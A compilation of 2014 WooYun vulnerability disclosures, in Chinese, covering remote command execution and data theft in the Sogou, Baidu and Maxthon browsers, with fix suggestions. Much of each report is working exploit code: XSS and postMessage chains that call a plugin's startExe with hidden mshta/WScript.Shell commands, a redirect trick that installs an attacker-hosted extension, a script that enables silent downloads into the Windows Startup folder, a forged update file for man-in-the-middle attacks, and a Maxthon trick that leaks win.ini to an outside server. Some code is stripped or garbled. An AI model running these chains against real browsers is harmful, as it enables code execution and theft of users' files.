修复方案: 1. 继续修复协议跳转漏洞。 2. 对静默安装插件的API进行一些安全考虑 3. 修复com.sogou.cxj009.PicViewer的XSS漏洞,对npapi提供的一些函数做出安全考虑 4. 修复http://ie.sogou.com/app/js/uploadify/uploadify.swf这个XSS

缺陷编号:wooyun-2014-087373 漏洞标题:搜狗浏览器最新版本升级存在缺陷(可被中间人攻击利用植入木马) 相关厂商:搜狗 漏洞作者: 内谁 提交时间:2014-12-16 15:15 修复时间:2015-03-16 15:16 公开时间:2015-03-16 15:16 漏洞类型:非授权访问/认证绕过

漏洞说明

搜狗浏览器最新版本,升级过程可被中间人攻击利用,可使得获得更新程序的机器被植入任意EXE文件。 搜狗浏览器,手动点击帮助菜单内的在线升级时,会访问一个URL:

http://p3p.sogou.com/upgrademanual.php?h=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&v=5.1.7.15323&r=0000

返回值是一个升级程序的描述文件,没有的话返回
ASCII:0
攻击者如果伪造这个描述文件,并实现中间人攻击,就可以欺骗目标主机,替换描述文件 接下来,搜狗浏览器会自动根据描述文件,下载并校验MD5值和大小,如果合法,直接运行 幸运的是,
该漏洞只存在于手动升级
,自动升级描述文件格式不同,暂不受影响

漏洞证明

正常的请求及回应:
GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1 Host: p3p.sogou.com Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 Accept-Encoding: gzip, deflate Cookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100 HTTP/1.1 200 OK Server: nginx Date: Tue, 16 Dec 2014 06:55:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.1.6 0
实现中间人攻击后的请求及回应:
GET /upgrademanual.php?h=7BBA50C84B9DF6239B9102C5109CA722&v=5.1.7.15323&r=0000 HTTP/1.1 Host: p3p.sogou.com Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 Accept-Encoding: gzip, deflate Cookie: lstCday=16; columnnum=2; SUV=008976A67CCD0982548FCE4D8773C573; m=7BBA50C84B9DF6239B9102C5109CA722; IPLOC=CN1100 HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Length: 145 Content-Type: text/html Accept-Ranges: none Connection: close 98
url=http://download.ie.sogou.com/se/sogou_explorer_10.exe md5=A6CA386D165B288635BD2FB0BF548D19 size=368640 version=10.1.6.14246 0
伪造的升级描述文件截图: 升级成功后自动运行文件截图:

缺陷编号:wooyun-2014-085567 漏洞标题:搜狗浏览器远程命令执行三 相关厂商:搜狗 漏洞作者: gainover 提交时间:2014-12-02 14:43 修复时间:2015-03-02 14:44 公开时间:2015-03-02 14:44 漏洞类型:远程代码执行

漏洞说明

搜狗浏览器又发布更新了,是不是修好了呢? 这一次,搜狗针对性的对上一个漏洞中的多个点进行了修改,但是有些地方依然欠缺考虑。使得我们可以继续绕过搜狗的修复措施,实现远程命令执行。 另外,不用故意压低rank值了,我不会去SGSRC的。 1. 首先列一列搜狗针对上一个漏洞做了哪些修复性的措施。 A. 限制了 location.href 直接向 se-extension跳转,即
location.href='se-extension://ext-1055834318/signin.html'; 会打开一个“空白页”。
同理:
window.open('se-extension://ext-1055834318/signin.html');
也会打开一个“空白页” B. 修复了 se-extension://ext-1055834318/signin.html 中的XSS,即
com.sogou.snapTaker
这个插件更新至了0.89版本。
var renrenUrl = "https://graph.renren.com/oauth/authorize?", weiboUrl = "https://api.weibo.com/oauth2/authorize?"; if (url && (url.indexOf(renrenUrl) === 0 || url.indexOf(weiboUrl) === 0)) {
这一次对url的判断,没有再次犯错,因此这个XSS这次确实是被修复了 C. 改变了
npgamecenterlite.dll
中startExe API的代码,即
com.sogou.gamecenter
这个插件升级到了1.0.7版本。(不过目录下的js/seed.js里的代码的插件版本号忘了改了哦?,
var PLUG_VERSION = global
= "1.0.6";)

http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.6/app.js?t=1.0.6

里的startExe的代码如下:
miniLauncher.startExe(url, "/popgame " + exe_param, function(arg) { if( arg ){ utils.pb_cl( '2013_popup' , 'id=micro_launched' ); } log( arg ); // if true , mean function calls success });
进过分析发现,这个版本中,
startExe
具有3个参数,函数伪代码大概如下:
function startExe(url, param, callback){ 运行应用(url+"sogouminigamepacker.exe "+param); 运行callback回调 }
而在上一个版本中,startExe只有2个参数,
startExe("EXE路径",回调函数);
这里改为3个参数的目的,应该是为了让startExe只能调用某一个路径下的sogouminigamepacker.exe程序。 --------------------------------------------------------------------- 2. 接着我们一一来绕过或是寻找新的漏洞来应对上面的修复措施。 A. 无法location.href了,而window.open也是打开了一个 about:blank,但是分析发现,在about:blank时可以使用 location.href='se-extension://ext-1055834318/signin.html' 跳转到se-extension页面。这样一来,我们可以使用下面的方法:
//首先,window.open打开目标页,会打开一个空白页 about:blank w=window.open('se-extension://ext-1055834318/signin.html'); //然后,使用w.location.href对打开的页面进行重定向 setTimeout(function(){ w.location.href='se-extension://ext-1055834318/signin.html'; },500);
如下图所示: 当然,在我们自己域名下执行window.open 会被拦截,但是由于搜狗浏览器的机制,如果window.open在
*.sogou.com
下执行则不会被浏览器所拦截。因此,我们要自动执行window.open,可以结合sogou.com域下的一个XSS来进行,由于比较懒,我翻了翻乌云上以前的搜狗的漏洞,有一个没有修复的XSS。

http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function(){if(!window.x){alert(1);window.x=1;}}

该XSS来自一个一年前的漏洞报告:《 WooYun: 搜狗浏览器远程命令执行漏洞 》 到了这里,我们突破了第一个修复,可以实现打开任意
se-extension://
下的页面。 B. XSS被修复了,我们得找一个新的XSS。 我们分析到se-extension://ext740107210/html/balloon.html时发现该页面会调用
http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.5/balloon/main.js
这个文件,其中有以下一段代码:
window.onmessage = function(e) { var data = e.data; if (data.cmd == "BalloonCloseWin") { window.close(); } else if (data.cmd == "BalloonNoTip") { localStorage
= +new Date(); window.close(); } else if (data.cmd == "BalloonStartGame") { sogouExplorer.tabs.create({ url: data.url, selected: true }); window.close(); } };
可以看到,这里是一个
onmessage
,且代码里并
没有对 数据的origin以及数据内容进行判断
,就进入到了 sogouExplorer.tabs.create 函数, 如果做过chrome插件开发的朋友,可能大概推出这个 sogouExplorer.tabs.create 应该是用来创建新的 浏览器tab页面的API,那么会有什么安全问题呢? 当 url为 javascript:alert(1); 的时候,
sogouExplorer.tabs.create
相当于在当前页面下执行了javascript:alert(1); 因此,结合这个XSS,实际上我们可以在
se-extension://ext740107210/html/balloon.html
下执行任意XSS代码了。
//伪代码, 窗口对象为A步骤里得到的w变量 窗口对象.postMessage({"cmd":"BalloonStartGame","url":"javascript:alert(1)"},"*");
C.
startExe
函数进行了修改,那么那种修改可以防止执行任意命令吗? 我们首先来猜测一下对方的判断规则,
document.getElementById("embed1").startExe("calc.exe","",function(){console.log(arguments)});
如果是上面这样,按照前面的判断,会执行
calc.exesogouminigamepacker.exe
,当然是不会执行, 我们加个空格,
document.getElementById("embed1").startExe("calc.exe ","",function(){console.log(arguments)});
这个理论上会执行
calc.exe

sogouminigamepacker.exe
,后面的 sogouminigamepacker.exe 被当作了calc的参数。 但是这样还不行,测试发现只要
出现了.exe就不行
。 但是这里不需要exe也可以执行。
document.getElementById("embed1").startExe("calc ","",function(){console.log(arguments)});
结合上一个漏洞的利用代码,改改:
document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});
D. 最后一步,怎么调用到
document.getElementById("embed1").startExe
呢? 我们存在XSS的页面是 se-extension://ext740107210/html/balloon.html , 我们存在
document.getElementById("embed1").startExe
的页面是: se-extension://ext740107210/html/back.html 可以看到,这2个页面都是属于同一个插件(
ext740107210
)的页面, 并且 se-extension://ext740107210/html/back.html 是
se-extension://ext740107210/html/balloon.html
的 backgroud page. 在插件开发中,搜狗浏览器为插件页面提供了一个API,以便快速获得
background page

window
对象。
sogouExplorer.runtime.getBackgroundPage()
,参见(
http://ie.sogou.com/open/doc/?id=2_16&title=runtime
) 因此,我们可以很容易把前面的代码变为以下方式:
sogouExplorer.runtime.getBackgroundPage().document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //","",function(){console.log(arguments)});
----------------------------------------------------------------- 3. 最后的利用代码如下: sogouhehehe.html

sogou2.js
w=window.open('se-extension://ext740107210/html/balloon.html'); setTimeout(function(){ w.location.href='se-extension://ext740107210/html/balloon.html'; var x=setInterval(function(){ if(w){ clearInterval(x); w.postMessage({"cmd":"BalloonStartGame","url":"javascript:sogouExplorer.runtime.getBackgroundPage().document.getElementById('embed1').startExe(\"mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-1000,-1000);window.close(); //\",\"\",function(){console.log(arguments)});"},"*"); } },100); },500);

漏洞证明

访问: http://xsst.sinaapp.com/poc/sogouhehehe.html win7 64 效果如下:
修复方案: 1. 继续修复window.open 2. 修复balloon.html的XSS 2. 继续修复startExe函数的设计逻辑

缺陷编号:wooyun-2014-084110 漏洞标题:治标不治本:搜狗浏览器继续远程执行任意命令 相关厂商:搜狗 漏洞作者: gainover 提交时间:2014-11-21 14:06 修复时间:2015-02-19 14:08 公开时间:2015-02-19 14:08 漏洞类型:远程代码执行

漏洞说明

20分都不给我,好坏好坏好坏的。 先修复,再确认,修复发布浏览器更新了,但又修不好,哪来的自信给我5分。 修复方案: 请修复“厂商回复”中每次都自动回复“感谢支持,欢迎您在SGSRC平台提交漏洞”的漏洞。 1. 更新到最新版本 2. 搜狗针对上一个漏洞,做了一些修复,最根本的协议跳转限制依然没修复。 A. 针对signin.html的XSS做了如下图所示修复: 正则看似写的一大串,很复杂,实则:
连限定开始的 ^ 都落掉了
, 直接
javascript:alert(1);//http://www.baidu.com/
就绕过正则了 B. 当顶层的URL不是 se-extension:// 时,扩展API的调用会有限制, 但是当前URL为se-extension://时,依然可以调用扩展API。 因此,我们虽然无法用iframe来进行嵌入调用,但是结合 location.href 和 window.open,依然可以执行命令,代码如下: 首先location.href跳转到 signin.html的XSS页面:
location.href='se-extension://ext-1055834318/signin.html?app=test&code=javascript:document.write("");//http://www.baidu.com/';
执行XSS后,调用sogou.js, sogou.js代码如下:
window.w=parent.window.open("se-extension://ext740107210/html/back.html"); function load(){ if(window.w&&window.w.document.getElementById("embed1")){ clearTimeout(window.xx); window.w.document.getElementById("embed1").startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();",function(){console.log(arguments)}); } }; window.xx=setInterval(function(){load();},100);
利用window.open打开se-extension://ext740107210/html/back.html,然后通过返回的窗口对象,调用
document.getElementById("embed1").startExe
,即可执行任意命令。 具体效果见漏洞证明

漏洞证明

访问: http://xsst.sinaapp.com/poc/sogouxxx.html

缺陷编号:wooyun-2014-083537 漏洞标题:某小设计缺陷搜狗浏览器远程命令执行 相关厂商:搜狗 漏洞作者: gainover 提交时间:2014-11-16 23:29 修复时间:2015-02-14 23:30 公开时间:2015-02-14 23:30 漏洞类型:远程代码执行

漏洞说明

1. 搜狗浏览器自有的协议下(se://)的一些内容,都封装成了
application/sogou-native-widget-plugin
,因此,我们在这个协议下,要继续找到可用的XSS似乎比较困难。 2. 于是将目光投向了似乎更容易找到XSS的 se-extension://, 通过分析发现,搜狗浏览器在设计上,不允许 http协议向 se: 协议的资源跳转(如下图所示);但是对于
se-extension://
上却欠缺了类似的安全考虑,允许在http协议下通过location.href跳转到或是通过iframe标签嵌入 se-extension:// 协议下的资源。 3. 基于这样一个缺陷,我们接着要寻找 se-extension://域下的XSS,由于搜狗浏览器内置的插件还比较多,挨个htm看一看,发现以下插件(截图插件)的页面存在XSS。

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)

4. 这样一来,我们可以利用这个插件的XSS来调用搜狗浏览器插件所暴露出的一些API,这些API主要在
sogouExplorer
这个对象里,如下图所示: 这些API已经可以用来实现很多高危害的事情了,例如:
//利用sogouExplorer.tabs.getAllInWindow获得窗口内打开的所有页面 sogouExplorer.tabs.getAllInWindow(0,function(){console.log(arguments)}) //通过上一个函数内获得tabid来向页面内注入任意JS,实现窃取用户当前打开的页面的cookies。 sogouExplorer.tabs.executeScript(202372,{"code":"alert(document.cookie)"},function(){console.log(arguments)})
代码运行如下: 效果如下图所示: 到了这里,实际上利用这个XSS,可以实现改变任意页面的内容,可以用于窃取COOKIES,或是改变页面内容实现钓鱼等高危害操作。 ----------------------------------- ** 实现远程命令执行 ----------------------------------- 实际上到了上面这一步,对于用户来说,已经会导致很高的危害,但是我们是否可以实现命令执行呢?搜狗一些曾经导致远程命令执行的内置API,比如external下的
SkinCall
再次出问题的可能性已经比较小。 我们依然把目光放到扩展本身上,一些内置的扩展为了实现一些功能也会暴露一些API给网页,而扩展内的这样的功能要么是通过搜狗浏览器提供的扩展API来实现,要么通过dll来实现。 我们通过分析,发现
com.sogou.gamecenter
这个扩展调用了npgamecenterlite.dll, 该扩展的地址在 se-extension://ext740107210/路径下 更有意思的是该扩展目录下的back.html中还发现了以下内容(se-extension://ext740107210/html/back.html):
//back.html中调用npgamecenterlite.dll //back.html中调用了http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.4/app.js?t=1.0.4,其中有以下代码: var miniLauncher = document.getElementById( 'embed1' ); //... miniLauncher.startExe( url + " /popgame " + exe_param, function(arg) { //.... });
我们惊喜的看到,这个
npgamecenterlite.dll
提供了一个API接口,而该接口的作用是用来启动了一个指定路径的程序。 ----------------------------------- ** 插件页面间的互相访问 ----------------------------------- 可以看到,我们找到XSS的页面是:

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)

而存在调用npgamecenterlite.dll的页面是:

se-extension://ext740107210/html/back.html

这2个页面,属于同一个协议(se-extension),但不属于同一个域,理论上2个页面是无法互相通信的。 然而,搜狗浏览器在此处对se-extension协议的处理上再次出现问题,我发现,在se-extension协议下,2个不同域的页面可以通过脚本互相访问。 这样一来,我们的攻击思路就很明确了,如下: 如上图所示,顺便说到了要修复的点。 ----------------------------------- ** 是否是任意命令执行? ----------------------------------- 答案:是的。 这里的 startExe API支持命令带参数,所以我们可以执行任意的命令。 如果用cmd,就会弹出一个一闪而过的黑框框,不够隐蔽。 这里我们可以用mshta来实现完全隐蔽的执行任意命令。比如下面弹出一个计算器:
miniLauncher.startExe("mshta javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();", function(arg) { console.log(arg); });

mshta
也会打开一个框框,但是我们可以用
moveTo
将框框移动到屏幕外,从而实现隐蔽效果。 最后执行效果:

漏洞证明

安装最新版本的搜狗浏览器: 访问:http://xsst.sinaapp.com/poc/sogou.html , win xp, win7, win8 下均测试通过,上面已经有一个win7的图了,下面发个win8的,
修复方案: 见详细说明中的图: 1. 修复XSS 2. 阻止http访问se-extension协议资源 3. 阻止插件页面间的相互访问 4. ....

缺陷编号:wooyun-2014-081919 漏洞标题:傲游浏览器:从鸡肋报错到本地信息读取 相关厂商:傲游 漏洞作者: gainover 提交时间:2014-11-04 00:32 修复时间:2015-02-02 00:34 公开时间:2015-02-02 00:34 漏洞类型:用户敏感数据泄漏

漏洞说明

百度浏览器还不更新,只能玩玩其它浏览器啦。测试某API时发现多运行几次就会报错,七捣鼓八弄弄,发现还可以读取本地文件耶~~ 1. 对傲游的特权域以及一些API代表何种功能做了一定研究,研究到以下API时,根据猜测填入参数后,发现运行并无反应:(测试在 http://i.maxthon.cn/域下,在控制台里进行)
var x=new maxthon.browser.TabService(); x.openTabWithHistoryList(
);
2. 然而,当我猜测性的,给数组里加入一个 null时,页面竟然刷新啦,代码如下:
var x=new maxthon.browser.TabService(); x.openTabWithHistoryList(
);
3. 当我多次在控制台里运行上面代码,比如2个null,3个null后,发现偶尔会出现以下报错信息: 4. 经过反复测试后,与null数量并没关系,只要反复运行【步骤2】中的代码3次,浏览器就会出现以上崩溃错误信息。 5. 但这仅仅是一个崩溃,而且浏览器捕获到了这个异常,并没有影响到浏览器的正常运行。但是,页面中的网址 http://i.maxthon.cn/ 引起了我的注意: 如果我们让崩溃发生在
http://i.maxthon.cn/#
, 会不会有XSS呢? 6. 我们试试,在
http://i.maxthon.cn/#
执行【步骤2】代码3次,得到下面的结果: 由上图可以看出,看来确实没有过滤HTML标签,显示了一个小图片,但是alert(1)并没有被执行。 7. 第一个念头是:难道这里会做出富文本过滤? 但是一想应该不太可能在这种位置使用《富文本过滤》策略这种繁琐的方案。那
alert(1)
去哪了呢? 于是,我将代码稍微改变了一下,

http://i.maxthon.cn/#

同【步骤6】进行测试,并开启
charles
进行抓包,得到以下请求: 8. 这个特殊的
User-agent:htmlayout 3.3; Windows-7; www.terrainformatica.com )
好像意味着什么。。经过打开百度浏览器上GOOGLE搜素
htmlayout
,发现这个htmlayout是一个基于HTML的界面库,其渲染引擎为H-smile,如下图所示(
http://www.terrainformatica.com/wiki/start#htmlayout
): 9. 由于是独立的渲染引擎,这也意味着在HTML标签以及脚本的支持上与我们常见的webkit等内核是存在差异的,因此我下载了一个htmlayout的sdk,并查阅了其所支持的HTML标签及一些功能。 10. 由于htmlayout主要用于界面显示,它支持绝大部分常见的HTML标签以及CSS样式,并且对HTML标签和CSS做了扩展,比如以下是它所特有的HTML标签(http://www.terrainformatica.com/htmlayout/tags.whtm),例如include和widget标签: A. include 标签,可以包含子页面htm,有点类似现在的一些HTM模板引擎,典型代码如下:
Ooops! document-fragment.html is unavailable!
B. widget 标签,类似一个功能性的
标签, 支持4种不同的type
- select block element; - dropdown select block element; - textarea block element; - htmlarea block element.

HTMLlayout
本身不支持脚本(Sciter支持),但其支持一种被称为CSSS的技术,CSSS是被扩展的CSS,可以在CSS内完成一些简单脚本的编写,这类脚本主要与界面的展现有关,而不太具有很强的功能性,比如下面这样的一段代码(当鼠标移动到a标签上时,会触发 hover-on! 内的脚本,让
p .slave
标签的hover状态也打开,从而显示为红色):
Hover me!

Slave


10. 那么基于上面这些,能否带来安全问题呢?这才是我们最为关心的。想要达到执行命令的目的似乎不太可能,因为并没有相关的标签或API可以实现这个目的。但是退而求其次,读取本地文件呢? 于是,我在本地首先测试

标签是否可以包含本地的文件,例如:

发现可以正常包含进来,如下图所示: 接着我们要怎么样将这些内容发送到【攻击者】的服务器上呢? 经常弄XSS的我们,不难想到利用 new Image().src="http://hacker.com/?敏感数据" 的方式来进行数据传输。 但是前面已说,htmlayout不支持JS,然而它却支持 csss。经过对csss的语法进行分析后,我们可以写出以下代码,让页面将include 进来的内容 经由图片的src属性发送出去,代码如下:

其中CSSS代码的含义是,当
id="test"
的widget中文本被赋予内容时,将id="xx"的img的src属性设置为"http://www.baidu.com/"加上被赋予的内容。 于是,抓包可以看到如下图所示请求: ------------------------------------------------------------ 11. 综上所述,我们要利用这个漏洞,需要先访问以下地址:

http://i.maxthon.cn/#

然后在该地址下面执行三次:
var x=new maxthon.browser.TabService(); x.openTabWithHistoryList(
);
然后浏览器崩溃,执行上面的代码,将用户本地的
win.ini
发送至我们的服务器 http://xsst.sinaapp.com 12. 为了将以上过程自动化,我们首先需要找到 maxthon.cn 域下的一个XSS,这个不是难事:

http://my.maxthon.cn//public/images/swfupload.swf?preventswfcaching=1414769360525&movieName=aaa"])}catch(e){alert(1)}//

接着我们,要让这个页面自动执行3次
openTabWithHistoryList
,利用代码如下,第一次将代码存入window.name,随后,我们将代码放入cookies中,页面调用openTabWithHistoryList,自动重启后,从cookies中读取利用代码并再次执行,利用代码放在了http://192.168.1.13/mx/poc1.js中,

其中http://192.168.1.13/mx/poc1.js的代码如下:
//将hash(#后的部分)改为我们崩溃后要使用的代码 location.hash=''; //调用openTabWithHistoryList,三次后,页面将出现崩溃错误 var x=new maxthon.browser.TabService(); x.openTabWithHistoryList(
);
13. 最终,我们只需要访问 poc 页面,利用openTabWithHistoryList函数的缺陷导致页面刷新三次后,出现崩溃错误,利用代码被执行,用户本地信息将被恶意窃取。

漏洞证明

效果见视频:http://v.youku.com/v_show/id_XODE4MjE2MDcy.html 视频密码: wooyuncmd2 自己电脑: win7 64位 以及虚拟机xp 系统环境下傲游v4.4.2.2000下测试成功。
修复方案: 1. 崩溃原因未知,应该是可以修复的。 2. 崩溃之后,页面显示的url地址进行编码后输出。

缺陷编号:wooyun-2014-081309 漏洞标题:百度浏览器远程命令执行四 相关厂商:百度 漏洞作者: gainover 提交时间:2014-10-30 09:25 修复时间:2015-01-28 09:26 公开时间:2015-01-28 09:26 漏洞类型:远程代码执行

漏洞说明

轻轻的我来了,正如我轻轻的抖。 版本又更新了,但漏洞却没有走。 最新版本(
6.5.0.50459
),另一个某API虽然做出限制,但限制依然宽松,结合一些乌云上公开但未修复的鸡肋,可轻松绕过限制导致远程命令执行缺陷。 1. 首先拿出前面在
xapp.baidu.com
下扫荡出的一个DOM XSS

http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-0/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname=

恩,标准的DOM XSS~ 2. 对 《百度浏览器远程命令执行》中所使用的AppService.AppMarket.DownloadPack API进行再次分析,发现如果对
AppService.AppMarket.DownloadPack
的参数 中 ID指定为 某一个已知安装的APP ID,则不会有安装提示,即使
update
值为false,例如:
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"false\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\"}",window,"");
3. 然后相比第一次,这一次,开发人员对 URL参数进行了判断,判断要求如下: A. URL必须为*.baidu.com域名下的资源 B. URL必须为 .crx结尾 4. 这种限制显然过于宽松, URL地址可以轻松被一些方式绕过:比如在baidu.com域名下上传资源,但是要找到这样的点不太容易,但是还有一种更简单的办法,就是找一个baidu.com域下的302跳转,跳到自己的资源地址。那么,302跳转好找么? 5. 嗯,我都懒得去百度GOOGLE搜索了,直接在乌云搜索“百度 跳转”,因为URL跳转什么的经常不被重视哇,所以估计还有没修好的。 于是,很顺利的搜索到以下漏洞:
WooYun: 百度url跳转及反射型xss
《百度url跳转及反射型xss》 公开时间: 2014-08-10 19:10 该漏洞已经公开,但并未修复。 6. 根据以上漏洞信息,构建以下URL跳转:

http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=1309383&email=wooyun@qq.com&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovLzE5Mi4xNjguMS4xMDUvRXZpbFBsdWdpbi5jcng=&.crx

该URL会跳转到 http://192.168.1.105/
EvilPlugin.crx
, 其中URL里的
&.crx
是为了满足步骤3里所描述的判断规则。 7. 因此不难构造出漏洞利用代码:
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"false\",\"URL\":\"http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=1309383&email=wooyun@qq.com&tlid=259&stid=1672&thid=259&url=IzEjaHR0cDovLzE5Mi4xNjguMS4xMDUvRXZpbFBsdWdpbi5jcng=&.crx\"}",window,"");
8. 利用
xapp.baidu.com
下的XSS调用以上代码:

9. 运行代码效果如下: 任意打开一个网页后,执行calc

漏洞证明:

演示视频: http://v.youku.com/v_show/id_XODE0NDUwNjY4.html 密码: wooyuncmd
修复方案: 1. 修复DOM XSS http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-0/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname= 2. 继续修复 AppService.AppMarket.DownloadPack 的安装判断。

缺陷编号:wooyun-2014-083294 漏洞标题:百度浏览器远程命令执行五 相关厂商:百度 漏洞作者: gainover 提交时间:2014-11-14 17:54 修复时间:2015-02-12 17:56 公开时间:2015-02-12 17:56 漏洞类型:远程代码执行

简要描述: 一直以为百度浏览器没更新哇,看新闻才知道,百度浏览器已经发布第7版本(7.0.400.292),于是又下载下来研究了一番,相对于第6版本,在一些API上确实有了不小的安全改进,但是也有一些7版本上的改进,反而导致可以远程命令执行。 详细说明: 1. 首先,我们用百度浏览器随便打开一个本地的页面,比如
file:///C:/xxxxxx
,你会发现出现以下报错,F12控制台内
location.href
查看,可以看到URL改变为:
data:text/html,biduwebdata
不要奇怪我为什么会这么测试,因为在6版本的百度浏览器中 data:text/html,biduwebdata 域下存在XSS,所以我其实是想看看 data:text/html,biduwebdata 在7版本中是否也存在,你可以看到我们所输入的URL在页面中被输出,那么会不会这里没有转义呢? 于是在bdbrowser域下用以下代码进行测试,(因为http域无法重定向至 file域,所以在bdbrowser域下测试):
location.href='file:///C:/xxxxxx#">'
可以看到弹窗了。 2. 第2个问题来了, data:text/html,biduwebdata 这个是data协议的,这个协议下有特权吗? 答案是:6版本的百度浏览器是没有的,但这个最新版本的,
data:text/html,biduwebdata 这个URL下是有特权的,但其它data:xxx是没有的。
3. 这样一来,我们的第一步,特权域XSS就已经有了。但是,我们
如何从http域重定向至file域
呢? A. 我们重定向至一个不存在的协议? 似乎并不能实现和file域一样的效果。 B.
about协议
则直接打开了空白页 C. 还有一个比较常见的
res://
协议,我们试试~~
location.href='res:///C:/xxxxxx#">'
如上图所示,我们可以看到res协议实现了和file协议一样的效果,且 http协议可以跳转至res协议 4. 因此,XSS我们有了, 如何实现命令执行呢? 我对之前测试过的API进行了一些测试,例如皮肤下载,插件下载,均已作出了一定的安全限制。然而,有一个功能比较显眼: 上图涉及到2个部分: 一是静默下载,即不需要用户交互,便可将指定程序下载到下载目录。 二是下载目录设置。 如果我们设置为静默下载,并将下载目录指向用户的启动目录,然后让用户下载一个exe,那么该exe将会被下载到用户的启动目录中。 5. 有了特权域的XSS,以上想法,我们并不难实现,这里直接给出代码,代码中含有注释。 A. 重定向至
res://....
,触发XSS,调用baidupoc5.js
百度浏览器命令执行5
B. baidupoc5.js代码如下:
var isWin7=/NT\s+6/.test(navigator.userAgent); /*获取用户名*/ function getUserNameCallback(id,res){ console.log(arguments); if(!res){ console.log("download skin error"); return ; } var data=JSON.parse(res); var path=data.body.path; var d=path.substring(0,1); var user=isWin7?(path.match(/\\Users\\(
+)\\/)||
)
:(path.match(/\\Documents and Settings\\(
+)\\/)||
)
; console.log(path); console.log(user); setDownloadDir(d,user); } /*设置下载目录*/ function setDownloadDir(d,user){ var win7=d+"://Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"; var xp=d+"://Documents and Settings/"+user+"/「开始」菜单/程序/启动/"; var dir=isWin7?win7:xp; window.external.StartRequest(1058,"set_string_pref","","
"); console.log("download directory"); setTimeout(function(){setDownloadSilent()},100); } /*静默下载*/ function setDownloadSilent(){ window.external.StartRequest(1059,"set_boolean_pref","","
"); console.log("download settings"); setTimeout(function(){startDownload()},100); } /*开始下载*/ function startDownload(){ console.log("download exe"); location.href="http://192.168.1.13/calc.exe"; } /*入口*/ function main(){ window.external.StartRequest(1057,"theme_apply","getUserNameCallback","
"); } main();

漏洞证明

以上代码在Win7下进行测试,截图如下: xp下也测试通过。
修复方案: 修复 data:text/html,biduwebdata 下的XSS, 浏览器在设置用户下载目录时,需要启用一定的用户交互,以避免随意一个特权域XSS即可更改此设置。

缺陷编号:wooyun-2014-082227 漏洞标题:傲游浏览器远程命令执行漏洞二 相关厂商:傲游 漏洞作者: gainover 提交时间:2014-11-06 11:50 修复时间:2015-02-04 11:52 公开时间:2015-02-04 11:52 漏洞类型:远程代码执行

漏洞说明

上一个漏洞,厂商回复说,只报XSS就可以了,但是关键点显然不在于XSS,如果你们真的只是“针对性的”修了XSS,以你们现在的权限隔离机制,以及功能体验和安全防护间的“冲突”是很容易再次导致问题的。 本文的大前提: 假定真如厂商所回复的那样,只修复了上文中的XSS。 接着是本文: -------------------------------------------------------------- 0x01 获得特权域XSS -------------------------------------------------------------- 傲游浏览器有一个RSS reader的功能,其实前面的报告者已经用到过这个功能。 见: WooYun: 傲游云浏览器远程命令执行漏洞 在这个漏洞中,“浏览器在处理 xml 内容的时候对 title、description,没有过滤。添加后就会执行嵌入的代码。”,于是傲游对此做了修复措施,会对title和description做出过滤。 我们来看看傲游是如何过滤的呢?, 我们编写以下代码:
wooyun.org 最新提交漏洞 http://www.wooyun.org 5 wooyun.org zh-cn www.wooyun.org webmaster@wooyun.org WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 <!<br />]> ]> Wed, 05 Nov 2014 15:38:18 +0800 路人甲 WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞
效果如下图所示: 可以看到,这里将 onerror 过滤成了 on_error,不难看出,这里的过滤并没有对 description做出“毁灭性”的过滤,即过滤 < 和 >;而是采用了富文本的过滤策略。 那么傲游是怎么过滤的呢?这种过滤机制,是在浏览器内置API进行的还是在JS里实现的呢? 通过对页面内JS代码的查看,我找到了以下内容: 可以看到傲游是在JS里通过正则表达式对内容进行过滤的, 我们的 onerror被过滤成 on_error是通过以下正则实现的:
z = z.replace(/(<\S
+on)(
{1,16}?)\s*=/ig, "$1_$2=").replace(/(+)href\s*=(
?\s*javascript:)/ig, '$1 href="#" h_ref=$2');
